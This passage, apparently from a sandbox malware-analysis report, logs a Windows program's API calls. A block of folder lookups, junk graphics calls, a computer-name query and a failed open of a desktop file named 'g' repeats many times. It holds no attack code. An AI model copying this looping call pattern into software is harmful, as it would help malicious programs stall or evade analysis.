pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.768] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.768] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.768] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.768] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.768] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.768] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.768] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.768] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.768] CloseHandle (hObject=0x0) returned 0 [0144.768] CloseHandle (hObject=0xffffffff) returned 1 [0144.768] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.768] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.768] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.768] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.768] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.768] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.768] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.768] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.768] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.768] CloseHandle (hObject=0x0) returned 0 [0144.768] CloseHandle (hObject=0xffffffff) returned 1 [0144.768] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.769] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.769] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.769] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.769] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.769] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.769] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.769] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.769] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.769] CloseHandle (hObject=0x0) returned 0 [0144.769] CloseHandle (hObject=0xffffffff) returned 1 [0144.769] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.769] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.769] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.769] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.769] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.769] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.769] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.769] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.769] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.769] CloseHandle (hObject=0x0) returned 0 [0144.769] CloseHandle (hObject=0xffffffff) returned 1 [0144.769] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.770] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.770] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.770] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.770] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.770] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.770] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.770] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.770] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.770] CloseHandle (hObject=0x0) returned 0 [0144.770] CloseHandle (hObject=0xffffffff) returned 1 [0144.770] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.770] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.770] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.770] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.770] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.770] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.770] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.770] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.770] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.770] CloseHandle (hObject=0x0) returned 0 [0144.770] CloseHandle (hObject=0xffffffff) returned 1 [0144.770] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.770] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.771] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.771] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.771] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.771] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.771] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.771] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.771] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.771] CloseHandle (hObject=0x0) returned 0 [0144.771] CloseHandle (hObject=0xffffffff) returned 1 [0144.771] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.771] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.771] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.771] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.771] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.771] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.771] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.771] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.771] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.771] CloseHandle (hObject=0x0) returned 0 [0144.771] CloseHandle (hObject=0xffffffff) returned 1 [0144.771] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.771] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.771] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.772] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.772] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.772] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.772] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.772] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.772] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.772] CloseHandle (hObject=0x0) returned 0 [0144.772] CloseHandle (hObject=0xffffffff) returned 1 [0144.772] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.772] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.772] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.772] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.772] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.772] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.772] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.772] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.772] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.772] CloseHandle (hObject=0x0) returned 0 [0144.772] CloseHandle (hObject=0xffffffff) returned 1 [0144.772] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.773] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.773] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.773] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.773] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.773] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.773] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.773] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.773] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.773] CloseHandle (hObject=0x0) returned 0 [0144.773] CloseHandle (hObject=0xffffffff) returned 1 [0144.773] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.773] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.773] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.773] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.773] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.773] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.773] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.773] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.773] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.773] CloseHandle (hObject=0x0) returned 0 [0144.773] CloseHandle (hObject=0xffffffff) returned 1 [0144.773] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.773] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.774] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.774] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.774] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.774] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.774] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.774] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.774] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.774] CloseHandle (hObject=0x0) returned 0 [0144.774] CloseHandle (hObject=0xffffffff) returned 1 [0144.774] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.774] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.774] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.774] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.774] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.774] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.774] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.774] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.774] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.774] CloseHandle (hObject=0x0) returned 0 [0144.774] CloseHandle (hObject=0xffffffff) returned 1 [0144.774] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.775] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.775] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.775] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.775] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.775] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.775] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.775] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.775] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.775] CloseHandle (hObject=0x0) returned 0 [0144.775] CloseHandle (hObject=0xffffffff) returned 1 [0144.775] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.775] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.775] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.775] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.775] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.775] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.775] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.775] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.775] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.775] CloseHandle (hObject=0x0) returned 0 [0144.775] CloseHandle (hObject=0xffffffff) returned 1 [0144.775] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.775] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.776] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0144.776] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0144.776] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0144.776] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0144.776] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0144.776] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0144.776] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0144.776] CloseHandle (hObject=0x0) returned 0 [0144.776] CloseHandle (hObject=0xffffffff) returned 1 [0144.776] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0144.776] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0144.776] ImageList_GetIconSize (in: himl=0x0, 